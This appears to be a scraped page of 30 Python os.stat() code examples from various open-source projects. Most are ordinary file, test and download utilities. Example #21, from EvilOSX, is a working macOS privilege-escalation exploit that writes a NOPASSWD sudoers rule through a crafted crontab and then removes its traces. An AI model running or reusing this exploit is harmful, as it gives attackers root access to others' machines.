Python os.stat() Examples
The following are 30
code examples of os.stat().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
os
, or try the search function
.
Example #1
Source File: test_tools.py From delocate with BSD 2-Clause "Simplified" License | 7 votes |
def test_ensure_writable(): # Test ensure writable decorator with InTemporaryDirectory(): with open('test.bin', 'wt') as fobj: fobj.write('A line\n') # Set to user rw, else r os.chmod('test.bin', 0o644) st = os.stat('test.bin') @ensure_writable def foo(fname): pass foo('test.bin') assert_equal(os.stat('test.bin'), st) # No-one can write os.chmod('test.bin', 0o444) st = os.stat('test.bin') foo('test.bin') assert_equal(os.stat('test.bin'), st)
Example #2
Source File: can_haz_image.py From macops with Apache License 2.0 | 7 votes |
def GetFileChecksum(self, filepath): """Generates checksum of given file. Args: filepath: String of filepath. Returns: f_hash: SHA1 hash for the file provided in filepath. """ statinfo = os.stat(filepath) if statinfo.st_size/1048576 < 200: f_content = open(filepath, 'r').read() f_hash = hashlib.sha1(f_content).hexdigest() return f_hash else: cmd = ['shasum', filepath] (stdout, unused_sterr, unused_rc) = RunProcess(cmd) return stdout.split()[0]
Example #3
Source File: httpResponse.py From MicroWebSrv2 with MIT License | 6 votes |
def ReturnFile(self, filename, attachmentName=None) : if not isinstance(filename, str) or len(filename) == 0 : raise ValueError('"filename" must be a not empty string.') if attachmentName is not None and not isinstance(attachmentName, str) : raise ValueError('"attachmentName" must be a string or None.') try : size = stat(filename)[6] except : self.ReturnNotFound() return try : file = open(filename, 'rb') except : self.ReturnForbidden() return if attachmentName : cd = 'attachment; filename="%s"' % attachmentName.replace('"', "'") self.SetHeader('Content-Disposition', cd) if not self._contentType : self._contentType = self._mws2.GetMimeTypeFromFilename(filename) self._contentLength = size self.ReturnStream(200, file) # ------------------------------------------------------------------------
Example #4
Source File: shutil.py From smbprotocol with MIT License | 6 votes |
def copymode(src, dst, follow_symlinks=True, **kwargs): """ Copy the permission bits from src to dst. The file contents, owner, and group are unaffected. Due to the limitations of Windows, this function only sets/unsets the dst's FILE_ATTRIBUTE_READ_ONLY flag based on what src's attribute is set to. If follow_symlinks is 'False', and both src and dst are symbolic links, copymode() will attempt to modify the mode of dst itself (rather than the file it points to). This function supports src and dst being either a local or UNC path. A relative path will be resolved based on the current working directory. :param src: The src file or directory to copy the read only flag from. :param dst: The dst file or directory to copy the read only flag to. :param follow_symlinks: Whether to copy the read only flag on the symlink or the target of the symlink. :param kwargs: Common arguments used to build the SMB Session for any UNC paths. """ src_mode = stat.S_IMODE(_get_file_stat(src, follow_symlinks, **kwargs).st_mode) norm_dst = ntpath.normpath(dst) if norm_dst.startswith('\\\\'): read_only = not (src_mode & stat.S_IWRITE == stat.S_IWRITE and src_mode & stat.S_IREAD == stat.S_IREAD) _set_file_basic_info(dst, follow_symlinks, read_only=read_only, **kwargs) else: _local_chmod(dst, src_mode, follow_symlinks)
Example #5
Source File: cifar10.py From DOTA_models with Apache License 2.0 | 6 votes |
def maybe_download_and_extract(): """Download and extract the tarball from Alex's website.""" dest_directory = FLAGS.data_dir if not os.path.exists(dest_directory): os.makedirs(dest_directory) filename = DATA_URL.split('/')[-1] filepath = os.path.join(dest_directory, filename) if not os.path.exists(filepath): def _progress(count, block_size, total_size): sys.stdout.write('\r>> Downloading %s %.1f%%' % (filename, float(count * block_size) / float(total_size) * 100.0)) sys.stdout.flush() filepath, _ = urllib.request.urlretrieve(DATA_URL, filepath, _progress) print() statinfo = os.stat(filepath) print('Successfully downloaded', filename, statinfo.st_size, 'bytes.') extracted_dir_path = os.path.join(dest_directory, 'cifar-10-batches-bin') if not os.path.exists(extracted_dir_path): tarfile.open(filepath, 'r:gz').extractall(dest_directory)
Example #6
Source File: test_smbclient_shutil.py From smbprotocol with MIT License | 6 votes |
def test_copymode_remote_to_local(smb_share, tmpdir): test_dir = tmpdir.mkdir("test") src_filename = "%s\\source.txt" % smb_share dst_filename = "%s\\target.txt" % test_dir with open_file(src_filename, mode='w', file_attributes=FileAttributes.FILE_ATTRIBUTE_READONLY) as fd: fd.write(u"content") with open(dst_filename, mode='w') as fd: fd.write(u"content") copymode(src_filename, dst_filename) actual = os.stat(dst_filename).st_mode assert stat.S_IMODE(actual) & stat.S_IWRITE == 0 remove(src_filename) with open_file(src_filename, mode='w') as fd: fd.write(u"content") copymode(src_filename, dst_filename) actual = os.stat(dst_filename).st_mode assert stat.S_IMODE(actual) & stat.S_IWRITE == stat.S_IWRITE
Example #7
Source File: dataset_utils.py From DOTA_models with Apache License 2.0 | 6 votes |
def download_and_uncompress_tarball(tarball_url, dataset_dir): """Downloads the `tarball_url` and uncompresses it locally. Args: tarball_url: The URL of a tarball file. dataset_dir: The directory where the temporary files are stored. """ filename = tarball_url.split('/')[-1] filepath = os.path.join(dataset_dir, filename) def _progress(count, block_size, total_size): sys.stdout.write('\r>> Downloading %s %.1f%%' % ( filename, float(count * block_size) / float(total_size) * 100.0)) sys.stdout.flush() filepath, _ = urllib.request.urlretrieve(tarball_url, filepath, _progress) print() statinfo = os.stat(filepath) print('Successfully downloaded', filename, statinfo.st_size, 'bytes.') tarfile.open(filepath, 'r:gz').extractall(dataset_dir)
Example #8
Source File: download_and_convert_cifar10.py From DOTA_models with Apache License 2.0 | 6 votes |
def _download_and_uncompress_dataset(dataset_dir): """Downloads cifar10 and uncompresses it locally. Args: dataset_dir: The directory where the temporary files are stored. """ filename = _DATA_URL.split('/')[-1] filepath = os.path.join(dataset_dir, filename) if not os.path.exists(filepath): def _progress(count, block_size, total_size): sys.stdout.write('\r>> Downloading %s %.1f%%' % ( filename, float(count * block_size) / float(total_size) * 100.0)) sys.stdout.flush() filepath, _ = urllib.request.urlretrieve(_DATA_URL, filepath, _progress) print() statinfo = os.stat(filepath) print('Successfully downloaded', filename, statinfo.st_size, 'bytes.') tarfile.open(filepath, 'r:gz').extractall(dataset_dir)
Example #9
Source File: generator_utils.py From fine-lm with MIT License | 6 votes |
def gunzip_file(gz_path, new_path): """Unzips from gz_path into new_path. Args: gz_path: path to the zipped file. new_path: path to where the file will be unzipped. """ if tf.gfile.Exists(new_path): tf.logging.info("File %s already exists, skipping unpacking" % new_path) return tf.logging.info("Unpacking %s to %s" % (gz_path, new_path)) # We may be unpacking into a newly created directory, add write mode. mode = stat.S_IRWXU or stat.S_IXGRP or stat.S_IRGRP or stat.S_IROTH os.chmod(os.path.dirname(new_path), mode) with gzip.open(gz_path, "rb") as gz_file: with tf.gfile.GFile(new_path, mode="wb") as new_file: for line in gz_file: new_file.write(line)
Example #10
Source File: test_smbclient_shutil.py From smbprotocol with MIT License | 6 votes |
def test_copymode_local_to_local_symlink_dont_follow(tmpdir): test_dir = tmpdir.mkdir('test') src_filename = "%s\\source.txt" % test_dir dst_filename = "%s\\target.txt" % test_dir with open(src_filename, mode='w') as fd: fd.write(u"content") os.chmod(src_filename, stat.S_IREAD) with open(dst_filename, mode='w') as fd: fd.write(u"content") src_link = "%s\\source-link.txt" % test_dir dst_link = "%s\\target-link.txt" % test_dir os.symlink(src_filename, src_link) os.symlink(dst_filename, dst_link) expected = "chmod: follow_symlinks unavailable on this platform" with pytest.raises(NotImplementedError, match=re.escape(expected)): copymode(src_link, dst_link, follow_symlinks=False)
Example #11
Source File: usb.py From multibootusb with GNU General Public License v2.0 | 6 votes |
def is_block(usb_disk): """ Function to detect if the USB is block device :param usb_disk: USB disk path :return: True is devie is block device else False """ import stat if platform.system() == 'Linux': if len(usb_disk) != 9: return False elif platform.system() == 'Windows': if len(usb_disk) != 2: return False else: return True try: mode = os.stat(usb_disk).st_mode gen.log(mode) gen.log(stat.S_ISBLK(mode)) except: return False return stat.S_ISBLK(mode)
Example #12
Source File: _util.py From multibootusb with GNU General Public License v2.0 | 6 votes |
def get_device_type(filename): """ Get the device type of a device file. ``filename`` is a string containing the path of a device file. Return ``'char'`` if ``filename`` is a character device, or ``'block'`` if ``filename`` is a block device. Raise :exc:`~exceptions.ValueError` if ``filename`` is no device file at all. Raise :exc:`~exceptions.EnvironmentError` if ``filename`` does not exist or if its metadata was inaccessible. .. versionadded:: 0.15 """ mode = os.stat(filename).st_mode if stat.S_ISCHR(mode): return 'char' elif stat.S_ISBLK(mode): return 'block' else: raise ValueError('not a device file: {0!r}'.format(filename))
Example #13
Source File: test_smbclient_shutil.py From smbprotocol with MIT License | 6 votes |
def test_copystat_local_to_remote(smb_share, tmpdir): test_dir = tmpdir.mkdir("test") src_filename = "%s\\source.txt" % test_dir dst_filename = "%s\\target.txt" % smb_share with open(src_filename, mode='w') as fd: fd.write(u"content") os.chmod(src_filename, stat.S_IREAD) os.utime(src_filename, (1024, 1024)) with open_file(dst_filename, mode='w') as fd: fd.write(u"content") copystat(src_filename, dst_filename) actual = smbclient_stat(dst_filename) assert actual.st_atime == 1024 assert actual.st_mtime == 1024 assert actual.st_file_attributes & FileAttributes.FILE_ATTRIBUTE_READONLY == FileAttributes.FILE_ATTRIBUTE_READONLY
Example #14
Source File: test_core.py From cherrypy with BSD 3-Clause "New" or "Revised" License | 6 votes |
def setup_server(): def break_header(): # Add a header after finalize that is invalid cherrypy.serving.response.header_list.append((2, 3)) cherrypy.tools.break_header = cherrypy.Tool( 'on_end_resource', break_header) class Root: @cherrypy.expose def index(self): return 'hello' @cherrypy.config(**{'tools.break_header.on': True}) def start_response_error(self): return 'salud!' @cherrypy.expose def stat(self, path): with cherrypy.HTTPError.handle(OSError, 404): os.stat(path) root = Root() cherrypy.tree.mount(root)
Example #15
Source File: scandir.py From ANGRYsearch with GNU General Public License v2.0 | 6 votes |
def stat(self, follow_symlinks=True): if follow_symlinks: if self._stat is None: if self.is_symlink(): # It's a symlink, call link-following stat() self._stat = stat(self.path) else: # Not a symlink, stat is same as lstat value if self._lstat is None: self._lstat = find_data_to_stat(self._find_data) self._stat = self._lstat return self._stat else: if self._lstat is None: # Lazily convert to stat object, because it's slow # in Python, and often we only need is_dir() etc self._lstat = find_data_to_stat(self._find_data) return self._lstat
Example #16
Source File: test_smbclient_shutil.py From smbprotocol with MIT License | 6 votes |
def test_copystat_local_to_local_symlink_dont_follow_fail(tmpdir): test_dir = tmpdir.mkdir('test') src_filename = "%s\\source.txt" % test_dir dst_filename = "%s\\target.txt" % test_dir with open(src_filename, mode='w') as fd: fd.write(u"content") os.chmod(src_filename, stat.S_IREAD) with open(dst_filename, mode='w') as fd: fd.write(u"content") src_link = "%s\\source-link.txt" % test_dir dst_link = "%s\\target-link.txt" % test_dir os.symlink(src_filename, src_link) os.symlink(dst_filename, dst_link) expected = "follow_symlinks unavailable on this platform" with pytest.raises(NotImplementedError, match=re.escape(expected)): copystat(src_link, dst_link, follow_symlinks=False)
Example #17
Source File: collectdReportMetrics.py From InsightAgent with Apache License 2.0 | 6 votes |
def remove_old_files(directory, filetype): now = datetime.datetime.now() now_time = now.time() # time between which each day the deletion is done if datetime.time(06, 30) <= now_time <= datetime.time(20, 35): # data directory path data_file_path = directory # data_file_path = os.path.join(homepath,datadir) now = time.time() for f in os.listdir(data_file_path): data_file = os.path.join(data_file_path, f) # check files older than 3 days if os.stat(data_file).st_mtime < now - 2 * 86400: # only delete csv files if filetype is None: if os.path.isfile(data_file): os.remove(data_file) else: if str(filetype) in str(os.path.splitext(data_file)[1]): # print data_file if os.path.isfile(data_file): os.remove(data_file)
Example #18
Source File: runSysTrace.py From InsightAgent with Apache License 2.0 | 6 votes |
def updateFile(filepath, filename, newSession): global homepath file = os.path.join(homepath,filepath,filename) oldSession = "null" currentSession = "null" if (os.stat(file).st_size == 0): open(os.path.join(file), 'a+').writelines(newSession+"\n") else: lines = open(file).readlines() if len(lines) == 1: currentSession = lines[0].rstrip('\n') lines.append(newSession+'\n') open(os.path.join(file), 'w+').writelines(lines[0:]) else: lines.append(newSession+'\n') oldSession = lines[0].rstrip('\n') currentSession = lines[1].rstrip('\n') open(os.path.join(file), 'w+').writelines(lines[1:]) return oldSession, currentSession
Example #19
Source File: authority.py From certidude with MIT License | 6 votes |
def get_revoked(serial): if isinstance(serial, str): serial = int(serial, 16) path = os.path.join(config.REVOKED_DIR, "%040x.pem" % serial) with open(path, "rb") as fh: buf = fh.read() header, _, der_bytes = pem.unarmor(buf) cert = x509.Certificate.load(der_bytes) try: reason = getxattr(path, "user.revocation.reason").decode("ascii") except IOError: # TODO: make sure it's not required reason = "key_compromise" return path, buf, cert, \ cert["tbs_certificate"]["validity"]["not_before"].native.replace(tzinfo=None), \ cert["tbs_certificate"]["validity"]["not_after"].native.replace(tzinfo=None), \ datetime.utcfromtimestamp(os.stat(path).st_ctime), \ reason
Example #20
Source File: tools.py From delocate with BSD 2-Clause "Simplified" License | 6 votes |
def ensure_permissions(mode_flags=stat.S_IWUSR): """decorator to ensure a filename has given permissions. If changed, original permissions are restored after the decorated modification. """ def decorator(f): def modify(filename, *args, **kwargs): m = chmod_perms(filename) if exists(filename) else mode_flags if not m & mode_flags: os.chmod(filename, m | mode_flags) try: return f(filename, *args, **kwargs) finally: # restore original permissions if not m & mode_flags: os.chmod(filename, m) return modify return decorator # Open filename, checking for read permission
Example #21
Source File: LPE_10-10-5.py From EvilOSX with GNU General Public License v3.0 | 5 votes |
def get_root(): env = {} old_size = os.stat("/etc/sudoers").st_size env['MallocLogFile'] = '/etc/crontab' env['MallocStackLogging'] = 'yes' env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n' print "Creating /etc/crontab..." p = os.fork() if p == 0: os.close(1) os.close(2) os.execve("/usr/bin/rsh", ["rsh", "localhost"], env) time.sleep(1) if "NOPASSWD" not in open("/etc/crontab").read(): print "FAILED!" exit(-1) print "Done, waiting for /etc/sudoers to update..." while os.stat("/etc/sudoers").st_size == old_size: time.sleep(1) print "Exploit completed." os.system("sudo rm -rf /etc/crontab") exit()
Example #22
Source File: scandir.py From ANGRYsearch with GNU General Public License v2.0 | 5 votes |
def is_symlink(self): try: st = self.stat(follow_symlinks=False) except OSError as e: if e.errno != ENOENT: raise return False # Path doesn't exist or is a broken symlink return st.st_mode & 0o170000 == S_IFLNK
Example #23
Source File: scandir.py From ANGRYsearch with GNU General Public License v2.0 | 5 votes |
def is_file(self, follow_symlinks=True): if follow_symlinks and self.is_symlink(): try: st = self.stat() except OSError as e: if e.errno != ENOENT: raise return False else: st = self._lstat return st.st_mode & 0o170000 == S_IFREG
Example #24
Source File: scandir.py From ANGRYsearch with GNU General Public License v2.0 | 5 votes |
def is_file(self, follow_symlinks=True): try: st = self.stat(follow_symlinks=follow_symlinks) except OSError as e: if e.errno != ENOENT: raise return False # Path doesn't exist or is a broken symlink return st.st_mode & 0o170000 == S_IFREG
Example #25
Source File: scandir.py From ANGRYsearch with GNU General Public License v2.0 | 5 votes |
def is_dir(self, follow_symlinks=True): try: st = self.stat(follow_symlinks=follow_symlinks) except OSError as e: if e.errno != ENOENT: raise return False # Path doesn't exist or is a broken symlink return st.st_mode & 0o170000 == S_IFDIR
Example #26
Source File: scandir.py From ANGRYsearch with GNU General Public License v2.0 | 5 votes |
def stat(self, follow_symlinks=True): if follow_symlinks: if self._stat is None: self._stat = stat(self.path) return self._stat else: if self._lstat is None: self._lstat = lstat(self.path) return self._lstat
Example #27
Source File: generator_utils.py From fine-lm with MIT License | 5 votes |
def maybe_download(directory, filename, uri): """Download filename from uri unless it's already in directory. Copies a remote file to local if that local file does not already exist. If the local file pre-exists this function call, it does not check that the local file is a copy of the remote. Remote filenames can be filepaths, any URI readable by tensorflow.gfile, or a URL. Args: directory: path to the directory that will be used. filename: name of the file to download to (do nothing if it already exists). uri: URI to copy (or download) from. Returns: The path to the downloaded file. """ tf.gfile.MakeDirs(directory) filepath = os.path.join(directory, filename) if tf.gfile.Exists(filepath): tf.logging.info("Not downloading, file already found: %s" % filepath) return filepath tf.logging.info("Downloading %s to %s" % (uri, filepath)) try: tf.gfile.Copy(uri, filepath) except tf.errors.UnimplementedError: if uri.startswith("http"): inprogress_filepath = filepath + ".incomplete" inprogress_filepath, _ = urllib.urlretrieve( uri, inprogress_filepath, reporthook=download_report_hook) # Print newline to clear the carriage return from the download progress print() tf.gfile.Rename(inprogress_filepath, filepath) else: raise ValueError("Unrecognized URI: " + filepath) statinfo = os.stat(filepath) tf.logging.info("Successfully downloaded %s, %s bytes." % (filename, statinfo.st_size)) return filepath
Example #28
Source File: ingest_cub200.py From ArtGAN with BSD 3-Clause "New" or "Revised" License | 5 votes |
def transform_and_save(img_path, target_size, output_filename, skip=False): """ Takes an image and optionally transforms it and then writes it out to output_filename """ if skip and os.path.exists(output_filename): return img = Image.open(img_path) width, height = img.size # Take the smaller image dimension down to target_size # while retaining aspect_ration. Otherwise leave it alone if width < height: if width > target_size: scale_factor = float(target_size) / width width = target_size height = int(height*scale_factor) else: if height > target_size: scale_factor = float(target_size) / height height = target_size width = int(width*scale_factor) if img.size[0] != width or img.size[1] != height: img = img.resize((width, height), resample=Image.LANCZOS) img.save(output_filename, quality=100) else: # Avoid recompression by saving file out directly without transformation shutil.copy(img_path, output_filename) assert (os.stat(output_filename).st_size > 0), "{} has size 0".format(output_filename)
Example #29
Source File: ingest_flower102.py From ArtGAN with BSD 3-Clause "New" or "Revised" License | 5 votes |
def transform_and_save(img_path, target_size, output_filename, skip=False): """ Takes an image and optionally transforms it and then writes it out to output_filename """ if skip and os.path.exists(output_filename): return img = Image.open(img_path) width, height = img.size # Take the smaller image dimension down to target_size # while retaining aspect_ration. Otherwise leave it alone if width < height: if width > target_size: scale_factor = float(target_size) / width width = target_size height = int(height*scale_factor) else: if height > target_size: scale_factor = float(target_size) / height height = target_size width = int(width*scale_factor) if img.size[0] != width or img.size[1] != height: img = img.resize((width, height), resample=Image.LANCZOS) img.save(output_filename, quality=100) else: # Avoid recompression by saving file out directly without transformation shutil.copy(img_path, output_filename) assert (os.stat(output_filename).st_size > 0), "{} has size 0".format(output_filename)
Example #30
Source File: ingest_wikiart.py From ArtGAN with BSD 3-Clause "New" or "Revised" License | 5 votes |
def transform_and_save(img_path, target_size, output_filename, skip=False): """ Takes an image and optionally transforms it and then writes it out to output_filename """ if skip and os.path.exists(output_filename): return img = Image.open(img_path) width, height = img.size # Take the smaller image dimension down to target_size # while retaining aspect_ration. Otherwise leave it alone if width < height: if width > target_size: scale_factor = float(target_size) / width width = target_size height = int(height*scale_factor) else: if height > target_size: scale_factor = float(target_size) / height height = target_size width = int(width*scale_factor) if img.size[0] != width or img.size[1] != height: img = img.resize((width, height), resample=Image.LANCZOS) img.save(output_filename, quality=100) else: # Avoid recompression by saving file out directly without transformation shutil.copy(img_path, output_filename) assert (os.stat(output_filename).st_size > 0), "{} has size 0".format(output_filename)